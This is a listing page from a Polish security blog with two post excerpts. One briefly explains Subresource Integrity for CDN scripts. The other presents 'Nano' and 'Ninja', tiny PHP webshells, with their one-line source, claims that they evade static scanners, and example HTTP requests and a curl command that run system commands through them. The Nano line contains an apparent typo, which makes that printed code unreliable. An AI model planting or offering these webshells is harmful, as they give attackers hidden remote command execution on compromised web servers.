NFsec Logo

Subresource Integrity (SRI) dla skryptów JavaScript

21/10/2021 w Bezpieczeństwo Możliwość komentowania Subresource Integrity (SRI) dla skryptów JavaScript została wyłączona

C

iekawą funkcjonalność przeglądarek podesłał Maciej Kofel ze Szkoły SecuritySRI, czyli Subresource Intergrity, która umożliwia przeglądarkom weryfikację, czy pobierane przez nie zasoby (na przykład z zewnętrznych serwisów CDN) są dostarczane bez nieoczekiwanych manipulacji. Mechanizm ten działa na podstawie porównania skrótu kryptograficznego, który musi być zgodny z pobranym zasobem. Korzystanie z serwisów CDN do hostowania plików (skryptów JS, akruszy CSS) na swojej stronie może poprawić jej wydajność i oszczędzić przepustowość na serwerze. Jednak wiąże się również z ryzykiem, ponieważ jeśli atakujący przejmie kontrolę nad tym zasobem, może wstrzyknąć dowolną, złośliwą zawartość do plików (lub całkowicie zastąpić pliki), a tym samym potencjalnie zaatakować wszystkie witryny, które pobierają pliki z danego serwisu CDN.
[ czytaj całość… ]

Nano & Ninja – webshell w 35 i 93 bajtach

18/02/2020 w Hacks & Scripts Możliwość komentowania Nano & Ninja – webshell w 35 i 93 bajtach została wyłączona

Nano jest małym webshellem zakodowanym w technice code golf, aby być bardziej niewykrywalnym, a zarazem wydajnym:

<?=$_GET[p]==_&&$_GET[f]($GET_[c]);

Jego zaletami są: tylko 35 bajtów rozmiaru; niewykrywalny przez skanery kodu statycznego; obsługuje uwierzytelnianie. Przykład użycia:

http://host.pl/nano.php?f=function&c=command&p=password

Gdzie: f = funkcja ; c = komenda; p = hasło
Na przykład poniższe żądnie HTTP wykona polecenie ls:

http://host.pl/nano.php?f=system&c=ls&p=password

Oprócz Nano jest jeszcze Ninja:

<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);

Jego zaletami są: tylko 93 bajtów rozmiaru; trudny do wykrycia. Przykład użycia:

curl -H 'x: xc3lzdGVtfmxz' http://host.pl/nano.php

Wydaje się trochę skomplikowane, ale jeśli chcemy wykonać polecenie system(ls) to zapisujemy je jako ciąg: system~ls następnie kodujemy go w base64, czyli: c3lzdGVtfmxz – dodajemy jeden znak x przed zakodowanym ciągiem: xc3lzdGVtfmxz i wysyłamy w żądaniu HTTP jako nagłówek x.

Więcej informacji: Nano